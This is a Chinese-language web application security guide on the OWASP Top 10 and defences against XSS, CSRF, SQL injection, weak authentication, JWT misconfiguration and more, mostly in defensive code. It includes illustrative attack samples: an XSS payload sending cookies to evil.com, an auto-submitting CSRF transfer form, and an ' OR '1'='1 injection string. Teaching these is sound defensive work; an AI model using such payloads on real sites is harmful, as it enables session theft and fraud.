Web 应用安全已不再是可选项。根据 IBM 统计,2023 年数据泄露的平均成本为 445 万美元,随着应用复杂度的提升,攻击面也在不断扩大,开发者必须从第一天起就将安全视为核心关注点。本指南涵盖 OWASP Top 10 漏洞、常见攻击手段以及可立即实施的实用防御措施。
TL;DR — 安全快速参考
OWASP Top 10 列出了最关键的 Web 应用安全风险。XSS 通过输出编码和 CSP 防御。CSRF 通过 SameSite Cookie 和 CSRF 令牌缓解。SQL 注入通过参数化查询阻止。密码使用 bcrypt/Argon2,全站 HTTPS,严格安全响应头,定期审计依赖项。
核心要点
- 始终使用参数化查询或预处理语句——绝不将用户输入直接拼接到 SQL 中。
- 实现 Content Security Policy (CSP) 响应头以防止 XSS 攻击。
- 对状态变更请求结合使用 SameSite=Strict/Lax Cookie 和 CSRF 令牌。
- 使用 bcrypt(成本因子 12+)或 Argon2id 哈希密码——绝不明文存储,不使用 MD5/SHA-1。
- 使用 RS256 或 EdDSA 签名 JWT——绝不使用 "none" 算法。
- 启用 HSTS、X-Frame-Options、X-Content-Type-Options 和 Referrer-Policy 响应头。
- 每次 CI 构建时运行 npm audit、Snyk 或 Dependabot。
- 对认证端点实施限流,防止暴力破解和凭证填充攻击。
OWASP Top 10(2021 版)
Open Web Application Security Project (OWASP) 每隔几年发布一次包含 10 个最关键 Web 应用安全风险的列表。2021 年版新增了三个类别并重新排序优先级。
| # | 类别 | 描述 |
|---|---|---|
| A01 | A01:访问控制失效 | 从第 5 名升至第 1 名,访问控制失效意味着用户可以在其预期权限之外进行操作。包括绕过访问检查、查看其他用户数据、权限提升和元数据操纵。94% 的被测应用存在某种形式的访问控制失效。 |
| A02 | A02:加密机制失效 | 原名"敏感数据泄露",该类别聚焦于导致数据泄露的加密失效。包括明文传输数据、弱加密算法(MD5、SHA-1、DES)和不当的密钥管理。 |
| A03 | A03:注入 | 当不可信数据作为命令或查询的一部分发送给解释器时,就会发生 SQL、NoSQL、OS 命令、LDAP 等注入漏洞。攻击者可利用注入访问未授权数据、执行命令,甚至危及整个系统。 |
| A04 | A04:不安全设计 | 2021 年新增类别,聚焦于设计和架构层面的缺陷。这与实现层面的漏洞不同。安全设计需要威胁建模、安全设计模式和参考架构,不只是安全编码。 |
| A05 | A05:安全配置错误 | 最常见的问题 — 90% 的应用都存在某种配置错误。缺少安全加固、启用不必要功能、默认凭证、过度详细的错误信息和缺少安全响应头都属于此类。 |
| A06 | A06:自带缺陷和过时的组件 | 使用已知漏洞的组件(库、框架、模块)。现在包括已知 CVE 和未监控的组件。Log4Shell(CVE-2021-44228)展示了单个库漏洞如何影响数百万应用。 |
| A07 | A07:身份验证和认证失效 | 原名"身份认证破坏"。包括允许弱密码、缺少 MFA、不当的会话管理和凭证填充漏洞。攻击者可以利用从数据泄露中获取的数十亿泄露凭证对进行攻击。 |
| A08 | A08:软件和数据完整性失效 | 2021 年新增类别,涵盖不保护完整性的代码和基础设施。包括不安全的 CI/CD 流水线、无签名验证的自动更新和不可信数据的反序列化。 |
| A09 | A09:安全日志和监控失效 | 没有日志和监控就无法检测到攻击。该类别涵盖日志不足、缺少告警、未监控的日志和不可操作的日志消息。没有适当监控的情况下,大多数入侵需要数月才能被发现。 |
| A10 | A10:服务端请求伪造 (SSRF) | 2021 年新增。当 Web 应用在未验证用户提供的 URL 的情况下获取远程资源时,就会发生 SSRF 漏洞。攻击者可利用 SSRF 扫描内网、访问云元数据端点(AWS IMDS)或访问内部服务。 |
跨站脚本 (XSS)
XSS 是最普遍的漏洞之一,影响数百万网站。当攻击者将恶意脚本注入到发送给其他用户的内容中时就会发生。成功的 XSS 攻击可以窃取会话令牌、重定向用户、篡改网站或安装键盘记录器。
XSS 类型
反射型 XSS
恶意脚本嵌入 URL 并从服务器响应中反射出来。受害者必须点击精心构造的链接。常见于搜索结果页面和错误消息。
存储型 XSS(持久型)
恶意脚本存储在服务器上(数据库、文件系统),并提供给每个查看受影响内容的用户。这更危险,因为除访问页面外不需要任何用户交互。常见于评论系统、个人资料字段和用户生成内容。
基于 DOM 的 XSS
漏洞存在于客户端代码中。DOM 被攻击者控制的数据修改。服务器永远不会看到有效载荷。常见于读取 location.hash、document.referrer 或 localStorage 的 JavaScript。
XSS 防御策略
输出编码
将不可信数据插入 HTML 前始终进行编码。使用上下文适当的编码:HTML 内容使用 HTML 实体编码,JS 上下文使用 JavaScript 编码,URL 使用 URL 编码。
// DANGEROUS: Raw user input in HTML
const name = req.query.name;
res.send('<h1>Hello ' + name + '</h1>');
// Attacker input:
// ?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>// SAFE: Use a trusted escaping library
import { escape } from 'html-escaper';
const name = escape(req.query.name);
res.send('<h1>Hello ' + name + '</h1>');
// Output: <script>... (harmless)安全的 DOM API
优先使用 textContent 而非 innerHTML。使用 createElement 和 setAttribute 而不是构建 HTML 字符串。必须使用 innerHTML 时,用 DOMPurify 净化输入。
// DANGEROUS: innerHTML with user data
element.innerHTML = userInput;
// SAFE: textContent (no HTML parsing)
element.textContent = userInput;
// SAFE: createElement API
const span = document.createElement('span');
span.textContent = userInput;
container.appendChild(span);
// SAFE with sanitization: DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
// React is safe by default (JSX auto-escapes)
return <p>{userInput}</p>; // Safe
// But dangerouslySetInnerHTML is not:
return <div dangerouslySetInnerHTML={{__html: userInput}} />; // DANGER内容安全策略
CSP 是一种浏览器安全机制,限制页面可以加载哪些资源。强有力的 CSP 策略即使在其他防御失败时也能防止 XSS。
# Strong CSP header (Next.js / Express)
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{RANDOM_NONCE}';
style-src 'self' 'nonce-{RANDOM_NONCE}';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self' https://api.yourapp.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
upgrade-insecure-requests;
# Next.js: generate per-request nonce
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
import crypto from 'crypto';
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
const csp = [
"default-src 'self'",
"script-src 'self' 'nonce-" + nonce + "'",
"style-src 'self' 'nonce-" + nonce + "'",
"frame-ancestors 'none'",
].join('; ');
const response = NextResponse.next();
response.headers.set('Content-Security-Policy', csp);
response.headers.set('x-nonce', nonce);
return response;
}跨站请求伪造 (CSRF)
CSRF 攻击诱使已认证用户提交他们不打算提交的请求。恶意网站可以使用户的浏览器向用户已登录的另一个网站发送请求。服务器看到的是带有有效会话 Cookie 的看似合法的请求。
CSRF 工作原理
该攻击利用浏览器自动在跨域请求中包含 Cookie 的行为。攻击者托管一个带有隐藏表单或 img 标签的页面,向目标网站发送请求。用户的浏览器包含其会话 Cookie,服务器处理该请求。
<!-- Attacker's malicious page (evil.com) -->
<html>
<body onload="document.forms[0].submit()">
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account" />
<input type="hidden" name="amount" value="1000" />
</form>
</body>
</html>
<!-- If the user is logged into bank.com and visits evil.com,
the browser auto-submits with the user's session cookie.
bank.com processes it as a legitimate request. -->CSRF 防御
SameSite Cookie
SameSite Cookie 属性控制跨站请求时是否发送 Cookie。SameSite=Strict 阻止所有跨站 Cookie 发送。SameSite=Lax 允许顶级导航中的 Cookie。这是最简单最有效的 CSRF 防御。
// Express.js: Set SameSite cookie
app.use(session({
secret: process.env.SESSION_SECRET,
cookie: {
httpOnly: true, // No JS access
secure: true, // HTTPS only
sameSite: 'lax', // CSRF protection
maxAge: 3600000, // 1 hour
},
}));
// SameSite values:
// 'strict' - Never sent in cross-site requests (breaks OAuth flows)
// 'lax' - Sent in safe cross-site navigation (GET links) only
// 'none' - Always sent (requires Secure=true)CSRF 令牌
为每个用户会话生成唯一的不可预测令牌。在所有状态变更表单和 AJAX 请求中包含此令牌。在处理请求前在服务端验证令牌。
// Server: Generate and verify CSRF token
import crypto from 'crypto';
// Generate token on session creation
function generateCSRFToken(): string {
return crypto.randomBytes(32).toString('hex');
}
// Middleware to verify token
function csrfMiddleware(req: Request, res: Response, next: NextFunction) {
if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(req.method)) {
const token = req.headers['x-csrf-token'] || req.body._csrf;
const sessionToken = req.session.csrfToken;
if (!token || !sessionToken || token !== sessionToken) {
return res.status(403).json({ error: 'CSRF token invalid' });
}
}
next();
}
// Client: Include token in requests
// Fetch API
fetch('/api/transfer', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': getCSRFTokenFromCookie(),
},
body: JSON.stringify({ amount: 100, to: 'alice' }),
});SQL 注入
SQL 注入仍然是最危险的漏洞之一,允许攻击者读取敏感数据、修改数据库内容、执行管理员操作,在某些配置中甚至可以执行 OS 命令。尽管广为人知,它仍然出现在 OWASP Top 10 中。
SQL 注入工作原理
当用户输入直接拼接到 SQL 查询中时,攻击者可以修改查询结构。通过注入 SQL 语法,他们可以绕过身份验证、从其他表提取数据或删除整个数据库。
// DANGEROUS: Direct concatenation
const username = req.body.username;
const query = "SELECT * FROM users "
+ "WHERE username = '" + username + "'";
// Attack input:
// username = ' OR '1'='1
// Result query:
// SELECT * FROM users WHERE username = ''
// OR '1'='1'
// Returns ALL users!// SAFE: Parameterized query (node-postgres)
const username = req.body.username;
const result = await pool.query(
'SELECT * FROM users WHERE username = $1',
[username] // Passed separately
);
// Attack input is treated as literal data:
// SELECT * FROM users WHERE username = ?
// Param: ' OR '1'='1
// Returns 0 rows (no such username)ORM 保护
现代 ORM(如 Prisma、TypeORM、Sequelize、Hibernate)默认对标准操作使用参数化查询。避免使用原始查询方法,并注意 orderBy 子句(可能未被参数化)。
// Prisma (safe by default)
const user = await prisma.user.findUnique({
where: { email: userInput }, // Safe
});
// Prisma raw query — be careful!
// DANGEROUS:
const results = await prisma.$queryRawUnsafe(
'SELECT * FROM users WHERE email = ' + userEmail
);
// SAFE with tagged template:
const results = await prisma.$queryRaw`
SELECT * FROM users WHERE email = ${userEmail}
`;
// TypeORM — safe with QueryBuilder:
const user = await userRepository
.createQueryBuilder('user')
.where('user.email = :email', { email: userInput })
.getOne();
// ORDER BY — user controls sort column? Use whitelist!
const ALLOWED_SORT_COLUMNS = ['name', 'email', 'createdAt'];
const sortColumn = ALLOWED_SORT_COLUMNS.includes(req.query.sort)
? req.query.sort : 'createdAt';
// Now safe to use in ORDER BY身份验证安全
身份验证是应用的大门。弱身份验证是数据泄露的主要原因之一。本节涵盖密码安全、MFA 和会话管理。
密码哈希
绝不明文存储密码,也不使用快速通用哈希函数(MD5、SHA-1、SHA-256)。使用专用密码哈希算法,这些算法故意设计得缓慢且内存密集。OWASP 推荐 Argon2id 作为首选。
// Node.js: bcrypt (battle-tested, widely used)
import bcrypt from 'bcryptjs';
// Hashing (on registration/password change)
const COST_FACTOR = 12; // ~250ms on modern hardware
const hash = await bcrypt.hash(plaintextPassword, COST_FACTOR);
await db.users.update({ passwordHash: hash }, { where: { id: userId } });
// Verification (on login)
const isValid = await bcrypt.compare(plaintextPassword, storedHash);
if (!isValid) {
// Constant-time comparison prevents timing attacks
throw new AuthError('Invalid credentials');
}
// Node.js: Argon2id (OWASP primary recommendation)
import argon2 from 'argon2';
const hash = await argon2.hash(plaintextPassword, {
type: argon2.argon2id,
memoryCost: 19456, // 19 MiB
timeCost: 2, // 2 iterations
parallelism: 1, // 1 thread
});
const isValid = await argon2.verify(storedHash, plaintextPassword);
// Speed comparison (attacker perspective, GPU RTX 4090):
// MD5: ~25 billion hashes/sec <- Never use
// SHA-256: ~10 billion hashes/sec <- Never use
// bcrypt: ~50,000 hashes/sec <- Acceptable
// Argon2id: ~1,000 hashes/sec <- Best多因素认证
MFA 在密码之外增加第二层认证。使用 Google Authenticator 或 Authy 等应用实现 TOTP(基于时间的一次性密码)。对高安全性应用考虑使用硬件安全密钥(FIDO2/WebAuthn)。
// TOTP (Time-based OTP) with otplib
import { authenticator } from 'otplib';
// Setup: Generate secret for new user
const secret = authenticator.generateSecret(); // 'JBSWY3DPEHPK3PXP'
const otpAuthUrl = authenticator.keyuri(
userEmail,
'YourApp',
secret
);
// Show otpAuthUrl as QR code for user to scan
// Store secret (encrypted) in database
// Verification: Check TOTP code at login
const isValidOTP = authenticator.verify({
token: req.body.totpCode,
secret: user.totpSecret,
});
if (!isValidOTP) {
throw new AuthError('Invalid OTP code');
}会话管理
生成至少 128 位熵的加密随机会话 ID。在认证后重新生成会话 ID。设置适当的过期时间。在注销时使会话失效并实施空闲超时。
// Secure session configuration (Express + Redis)
import session from 'express-session';
import RedisStore from 'connect-redis';
import { createClient } from 'redis';
const redisClient = createClient();
await redisClient.connect();
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: process.env.SESSION_SECRET!, // 64+ random bytes
name: '__Host-session', // __Host- prefix enforces HTTPS + path=/
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // No document.cookie access
secure: true, // HTTPS only
sameSite: 'lax', // CSRF protection
maxAge: 60 * 60 * 1000, // 1 hour
},
}));
// Regenerate session ID after login (prevents session fixation)
req.session.regenerate((err) => {
if (err) throw err;
req.session.userId = user.id;
req.session.roles = user.roles;
});JWT 安全
JSON Web Token 广泛用于无状态认证,但经常被错误配置。单个 JWT 安全错误可能允许攻击者伪造令牌并冒充任何用户。
JWT 关键安全风险
- alg: none — 将算法设为 "none" 完全绕过签名验证
- Algorithm Confusion — 攻击者将 RS256 降级为 HS256,用公钥作为 HMAC 密钥
- Weak secrets — HS256 需要至少 256 位密钥,避免可猜测的密钥
- No expiration — 没有 exp 声明的令牌永远有效
算法安全
始终在服务端指定并验证签名算法。"alg: none" 攻击绕过验证。算法混淆攻击将 RS256 降级为 HS256。使用 RS256、ES256 或 EdDSA 进行非对称签名。
// Node.js: Using jsonwebtoken library
import jwt from 'jsonwebtoken';
import fs from 'fs';
// INSECURE: HS256 with weak secret
const token = jwt.sign({ userId: 123 }, 'secret'); // NEVER do this
// SECURE: RS256 with key pair
const privateKey = fs.readFileSync('./private.pem');
const publicKey = fs.readFileSync('./public.pem');
// Sign (auth server)
const token = jwt.sign(
{
sub: userId,
roles: user.roles,
iss: 'https://auth.yourapp.com',
aud: 'https://api.yourapp.com',
},
privateKey,
{
algorithm: 'RS256', // Asymmetric — verify with public key only
expiresIn: '15m', // Short-lived access token
}
);
// Verify (resource server)
const payload = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // Whitelist — prevents algorithm confusion
issuer: 'https://auth.yourapp.com',
audience: 'https://api.yourapp.com',
});
// NEVER accept 'none' algorithm:
// algorithms: ['RS256'] explicitly blocks it过期时间和刷新令牌
为访问令牌设置较短的过期时间(15-60 分钟)。使用较长生命周期的刷新令牌安全存储(HttpOnly Cookie)。实现刷新令牌轮换以检测盗窃。
// Refresh token pattern with rotation
interface Tokens {
accessToken: string; // Short-lived: 15 minutes
refreshToken: string; // Long-lived: 7 days (stored in Redis)
}
async function refreshTokens(refreshToken: string): Promise<Tokens> {
// 1. Check refresh token exists and is not revoked
const stored = await redis.get('refresh:' + refreshToken);
if (!stored) throw new Error('Refresh token invalid or expired');
const { userId, rotationVersion } = JSON.parse(stored);
// 2. Revoke old refresh token (rotation)
await redis.del('refresh:' + refreshToken);
// 3. Issue new token pair
const newRefreshToken = crypto.randomBytes(40).toString('hex');
await redis.set(
'refresh:' + newRefreshToken,
JSON.stringify({ userId, rotationVersion: rotationVersion + 1 }),
{ EX: 7 * 24 * 60 * 60 } // 7 days
);
const accessToken = jwt.sign({ sub: userId }, privateKey, {
algorithm: 'RS256',
expiresIn: '15m',
});
return { accessToken, refreshToken: newRefreshToken };
}安全响应头
安全响应头是指示浏览器启用安全机制的 HTTP 响应头。它们提供纵深防御,以最小的实施工作量防御常见攻击。
| 响应头 | 推荐值 | 作用 |
|---|---|---|
| Content-Security-Policy | default-src 'self'; script-src 'self' 'nonce-{n}' | 控制浏览器允许加载哪些资源。防止 XSS、数据注入攻击和点击劫持。对内联脚本使用 nonce 或 hash 而非 unsafe-inline。 |
| Strict-Transport-Security | max-age=31536000; includeSubDomains; preload | HSTS 告诉浏览器始终为您的域名使用 HTTPS。这防止 SSL 剥离攻击和协议降级攻击。使用至少一年的 max-age(31536000 秒)并包含子域名。 |
| X-Frame-Options | DENY | 防止您的页面被其他网站的 iframe 嵌入。缓解点击劫持攻击。使用 DENY 或 SAMEORIGIN。CSP frame-ancestors 是现代替代方案。 |
| X-Content-Type-Options | nosniff | 防止浏览器 MIME 嗅探响应。设置为 "nosniff" 强制浏览器遵守声明的 Content-Type。防止依赖混淆浏览器文件类型的攻击。 |
| Referrer-Policy | strict-origin-when-cross-origin | 控制请求中包含多少引用来源信息。使用 "strict-origin-when-cross-origin" 防止向第三方泄露完整 URL,同时保留分析数据。 |
| Permissions-Policy | camera=(), microphone=(), geolocation=() | 控制哪些浏览器功能(摄像头、麦克风、地理位置)可以使用。限制应用不需要的功能,减少攻击面。 |
// Express.js: Set all security headers
import helmet from 'helmet';
app.use(helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"], // Add nonce in middleware
styleSrc: ["'self'"],
imgSrc: ["'self'", 'data:', 'https:'],
connectSrc: ["'self'"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
},
},
hsts: {
maxAge: 31536000,
includeSubDomains: true,
preload: true,
},
frameguard: { action: 'deny' },
noSniff: true,
referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}));
// Nginx: Security headers block
# add_header Content-Security-Policy
# "default-src 'self'; frame-ancestors 'none'" always;
# add_header Strict-Transport-Security
# "max-age=31536000; includeSubDomains; preload" always;
# add_header X-Frame-Options DENY always;
# add_header X-Content-Type-Options nosniff always;
# add_header Referrer-Policy strict-origin-when-cross-origin always;CORS 配置
跨域资源共享 (CORS) 控制哪些源可以访问您的 API。错误配置的 CORS 可能允许恶意网站代表您的用户向您的 API 发出经过认证的请求。
来源白名单
当涉及凭据时,绝不使用通配符 (*) 作为来源。维护一个明确的允许来源白名单。在发送 Access-Control-Allow-Origin 之前,根据此白名单验证 Origin 头。
// Express: CORS with origin validation
import cors from 'cors';
const ALLOWED_ORIGINS = [
'https://app.yoursite.com',
'https://www.yoursite.com',
...(process.env.NODE_ENV === 'development'
? ['http://localhost:3000']
: []),
];
app.use(cors({
origin: (origin, callback) => {
// Allow requests with no origin (mobile apps, curl, server-to-server)
if (!origin) return callback(null, true);
if (ALLOWED_ORIGINS.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true, // Allow cookies (requires explicit origin)
methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
maxAge: 86400, // Cache preflight for 24 hours
}));限流和 DDoS 防护
限流防止对 API 端点的滥用。没有它,攻击者可以暴力破解密码、抓取数据、轰炸端点并压垮基础设施。
限流策略
// Express: Rate limiting with express-rate-limit + Redis
import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';
// Global API rate limit
const apiLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
standardHeaders: 'draft-7',
legacyHeaders: false,
store: new RedisStore({ sendCommand: (...args) => redis.sendCommand(args) }),
message: { error: 'Too many requests, please try again later.' },
});
// Strict login rate limit (prevent brute-force)
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15 minutes
max: 5, // 5 attempts per window
skipSuccessfulRequests: true, // Only count failures
message: { error: 'Too many failed login attempts. Try again in 15 minutes.' },
});
// Password reset: prevent enumeration + abuse
const resetLimiter = rateLimit({
windowMs: 60 * 60 * 1000, // 1 hour
max: 3,
});
app.use('/api/', apiLimiter);
app.post('/api/auth/login', loginLimiter, loginHandler);
app.post('/api/auth/forgot-password', resetLimiter, resetHandler);依赖安全
现代应用依赖数百甚至数千个第三方包。每个依赖项都是潜在的攻击面。供应链攻击(如 SolarWinds 漏洞)已经表明,受信任的包也可能被攻陷。
自动化漏洞扫描
在 CI 流水线中运行 npm audit、yarn audit 或 pnpm audit。集成 Snyk、Dependabot 或 GitHub Dependabot 以在发现漏洞时自动创建拉取请求。设置使构建失败的严重性阈值。
# Run in CI — fail on high/critical vulnerabilities
npm audit --audit-level=high
# GitHub Actions: Add Dependabot
# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: npm
directory: /
schedule:
interval: weekly
open-pull-requests-limit: 10
labels:
- dependencies
- security
# GitHub Actions: Snyk security scan
- name: Run Snyk security scan
uses: snyk/actions/node@master
with:
args: --severity-threshold=high
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}锁定文件
始终提交锁定文件(package-lock.json、yarn.lock、pnpm-lock.yaml)。锁定文件确保可重现的构建并防止依赖混淆攻击。在 CI/CD 中使用 npm ci 而非 npm install。
CVSS 漏洞评分
通用漏洞评分系统 (CVSS) 提供了一种标准化的方式,在 0 到 10 的范围内对安全漏洞的严重性进行评级。
| 评分范围 | 严重级别 | 响应时间 | 示例 |
|---|---|---|---|
| 9.0 – 10.0 | 严重 | 立即(24h内) | Log4Shell, Heartbleed, Spring4Shell |
| 7.0 – 8.9 | 高危 | 7天内 | RCE、SQL 注入、身份验证绕过 |
| 4.0 – 6.9 | 中危 | 30天内 | XSS、CSRF、敏感数据泄露 |
| 0.1 – 3.9 | 低危 | 90天内 | 信息泄露、低影响 DoS |
| 0.0 | 无 | 按需计划 | 无安全影响 |
安全测试
安全测试应集成到软件开发生命周期的每个阶段,而不只是在部署前进行一次。
静态分析 (SAST)
SAST 工具在不执行代码的情况下分析源代码。工具包括 Semgrep、ESLint 安全插件、SonarQube 和 CodeQL。集成到 IDE 和 CI 流水线中以获得即时反馈。
动态分析 (DAST)
DAST 工具从外部测试运行中的应用程序。OWASP ZAP 和 Burp Suite 是流行的选择。在 CI 中针对暂存环境运行 DAST。捕获 XSS、注入和身份验证绕过等漏洞。
渗透测试
安全专业人员定期进行渗透测试提供全面的评估。使用 OWASP 测试指南等结构化方法。考虑漏洞赏金计划以进行持续的安全评估。
HTTPS 和 TLS
HTTPS 加密客户端和服务器之间的所有通信。没有它,会话令牌、凭证和敏感数据对网络攻击者是可见的。HTTPS 已不再是可选项,而是基准要求。
HTTP 严格传输安全 (HSTS)
HSTS 告诉浏览器始终为您的域名使用 HTTPS。这防止 SSL 剥离攻击和协议降级攻击。使用至少一年的 max-age(31536000 秒)并包含子域名。
# Nginx: Enable HSTS
server {
listen 443 ssl http2;
server_name yourapp.com www.yourapp.com;
# HSTS: 1 year, include subdomains, preload
add_header Strict-Transport-Security
"max-age=31536000; includeSubDomains; preload" always;
# Redirect all HTTP to HTTPS
# (In a separate server block)
}
server {
listen 80;
server_name yourapp.com www.yourapp.com;
return 301 https://$host$request_uri;
}
# TLS configuration best practices
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:...;
ssl_prefer_server_ciphers off; # TLS 1.3 client preference
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m;
ssl_stapling on; # OCSP stapling
ssl_stapling_verify on;常见问题
Q1: 身份验证和授权的区别是什么?
身份验证验证你是谁(例如,用户名和密码检查)。授权确定你被允许做什么(例如,检查你是否有访问资源的权限)。两者都必须正确实现 — 没有授权的身份验证意味着所有用户可以访问所有资源,没有身份验证的授权意味着无法知道是谁在发出请求。
Q2: HTTPS 足以保护 Web 应用程序吗?
HTTPS 加密传输中的数据,但单独来看是不够的。你还需要:输入验证和输出编码以防止注入攻击、适当的身份验证和会话管理、对每个请求的授权检查、安全响应头、依赖项扫描和定期安全测试。HTTPS 防止网络窃听和中间人攻击,但不能防止应用层漏洞。
Q3: 如何在 ORM 中防止 SQL 注入?
大多数 ORM(Prisma、TypeORM、Sequelize、Hibernate)默认对标准操作使用参数化查询。但你必须注意:原始查询方法(可以传递字符串模板)、用户输入决定排序列的 orderBy 或 orderByRaw 子句,以及动态列选择。始终使用 ORM 的安全 API 传递值,并对 ORDER BY 或 GROUP BY 子句中使用的用户输入进行白名单验证。
Q4: JWT 访问令牌中应该存储什么?
在访问令牌中只存储必要的最小声明:用户 ID、角色/权限、过期时间(exp)、签发时间(iat)和签发者(iss)。绝不在 JWT 中存储密码、完整个人信息或财务数据等敏感数据。记住,JWT 有效载荷是 base64 编码的,不是加密的 — 除非使用 JWE(JSON Web 加密),否则任何拥有令牌的人都可以读取。
Q5: 如何处理安全事件和漏洞披露?
在 /.well-known/security.txt 设置一个包含负责任披露政策和联系信息的 security.txt 文件。当漏洞被报告时:24 小时内确认,72 小时内修复严重漏洞,7 天内修复高危漏洞,向报告者传达进度,并考虑对重大漏洞进行 CVE 分配。考虑漏洞赏金计划以持续吸引研究人员。
Q6: XSS 和 CSRF 的区别是什么?
XSS(跨站脚本)将恶意脚本注入到您的页面中,在其他用户的浏览器中运行 — 攻击通过您的网站针对用户。CSRF(跨站请求伪造)诱使用户的浏览器向您的网站发出意外请求 — 攻击通过用户的浏览器针对您的网站。XSS 从目标网站的角度破坏了同源策略;CSRF 利用浏览器在跨域请求中包含凭证的行为。
Q7: 我应该自己实现密码学吗?
几乎从不。密码学原语极难正确实现。即使是经验丰富的密码学家也会犯错。使用经过良好审计、广泛部署的库:浏览器中的 Web Crypto API、低级需求的 libsodium、密码哈希的 bcrypt/Argon2 库和经过实战验证的 TLS 库。原则是"不要自己实现密码学"(DYOR)。如果你真的需要自定义密码学原语,你需要正式的安全审计。
Q8: 如何在生产环境中安全存储 API 密钥和机密?
绝不在源代码中硬编码机密或将其提交到版本控制中。使用机密管理解决方案:HashiCorp Vault、AWS Secrets Manager、Google Secret Manager 或 Azure Key Vault。对于容器,在运行时将机密注入为环境变量。尽可能使用自动轮换的短期凭证。审计机密访问日志。对于开发,使用 .env 文件(绝不提交),并使用 dotenv-vault 等工具进行团队共享。
安全清单摘要
- 参数化查询防止 SQL 注入
- CSP + 输出编码防止 XSS
- SameSite Cookie + CSRF 令牌
- Argon2id/bcrypt 密码哈希
- RS256 签名 JWT,15 分钟过期
- 全套安全响应头(helmet.js)
- HTTPS + HSTS(含预加载)
- CI 中自动化依赖扫描
- 认证端点限流
- 完整的安全日志和监控告警